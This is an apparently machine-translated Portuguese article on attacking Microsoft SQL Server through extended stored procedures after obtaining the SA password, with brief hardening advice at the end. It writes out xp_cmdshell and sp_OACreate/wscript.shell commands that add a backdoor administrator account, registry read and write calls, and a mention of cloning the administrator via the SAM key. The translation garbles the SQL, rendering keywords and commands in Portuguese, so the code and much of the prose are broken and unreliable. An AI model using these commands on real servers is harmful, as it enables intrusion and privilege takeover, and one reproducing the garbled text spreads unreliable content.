Stored procedures são uma coleção de instruções SQL pré-escritas armazenadas no SQLServer, entre as quais os procedimentos armazenados estendidos mais perigosos são xp_cmdshell, que pode executar qualquer instrução do sistema operacional, e SA é a conta de administrador do Microsoft SQLServer, com os maiores privilégios, pode executar procedimentos armazenados estendidos e obter valores de retorno, como execução:
Mestre Executivo... xp_cmdshell 'teste de usuário da rede 1234 /add' e mestre executivo: xp_cmdshell 'administradores de grupo local da rede testam /adicionam'
Dessa forma, um usuário chamado test, senha 1234 e privilégios de administrador são adicionados ao sistema da outra parte, como mostrado na Figura 1.
Agora você deve entender por que você recebe a senha do SA e os maiores privilégios do sistema. Frequentemente, muitos administradores de rede não conhecem essa situação e possuem algumas senhas simples, como 1234 e 4321, para seus usuários de SA, ou até mesmo não definem senhas, para que intrusos de rede possam facilmente escanear a senha de SA com algumas ferramentas de hacking e então controlar o computador.
Além de xp_cmdshell, também existem procedimentos armazenados que podem ser explorados por intrusos:
1. xp_regread (este procedimento armazenado estendido pode ler o valor especificado na chave especificada no registro), como usá-lo (obter o nome da máquina):
DECLARAR@testvarchar (50) mestre executivo... xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='system\controlset001\control\nomecomputador\nomecomputador', @value_name='nomecomputador', @value=@test SELEÇÃO DE SAÍDA @test
2. xp_regwrite (esse procedimento armazenado estendido pode escrever o valor especificado na chave especificada no registro), e como usá-lo (escrever bbb na chave HKEY_LOCAL_MACHINE\SOFTWARE\aaa\aaaValue):
Mestre executivo... xp_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\aaa', @value_name='aaaValue', @type='REG_SZ', @value='bbb'
Se o usuário administrador do computador comprometido puder navegar pelas informações HKEY_LOCAL_MACHINE\SAM\SAM\ no registro, então os dois procedimentos armazenados xp_regread e xp_regwrite podem ser usados para clonar o usuário administrador e obter privilégios de administrador. xp_regdeletekey. xp_regdeletevalue também trará riscos de segurança para o sistema. 3. Uma série de procedimentos de armazenamento relacionados a OLE, essa série de procedimentos de armazenamento possui sp_OACreate, sp_OADestroy, sp_OAGetErrorInfo, sp_OAGetProperty, sp_OAMethod, sp_OASetProperty, sp_OAStop, uso:
DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'c:\WINNT\system32\cmd.exe /c NET user test 1234 /add'--
Dessa forma, o outro sistema adiciona um usuário chamado test e um usuário com senha 1234, e então executa:
DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'c:\WINNT\system32\cmd.exe /c NET administradores de grupos locais testam /add '--
Teste de usuário, adicionado ao grupo Administradores. Solução: Dê à SA uma senha complexa o suficiente para dificultar a decifração de ciberatacantes. Por segurança, também precisamos usar procedimentos armazenados no SQLS sp_addextendedproc sp_dropextendedproc no analisador de consultas do Erver sp_dropextendedproc excluir procedimentos armazenados como xp_cmdshell e então usar sp_addextendedproc recuperação quando necessário. Deve-se notar que excluir procedimentos armazenados relacionados ao OLE pode tornar algumas funções do Enterprise Manager inutilizáveis, e o autor não recomenda excluí-las aqui.
Agora que sabemos como usar SP_OACREATE, podemos ir em \WINNT \system32 para encontrar os arquivos cmd.exe, net.exe e net1.exe três arquivos, e deletar todos os usuários que puderem acessá-los nas "Propriedades" - "Segurança", para que não possamos usar SP_OACREATE para aumentar o número de usuários do sistema, e podemos adicionar usuários de acesso quando precisarmos acessar esses arquivos.
|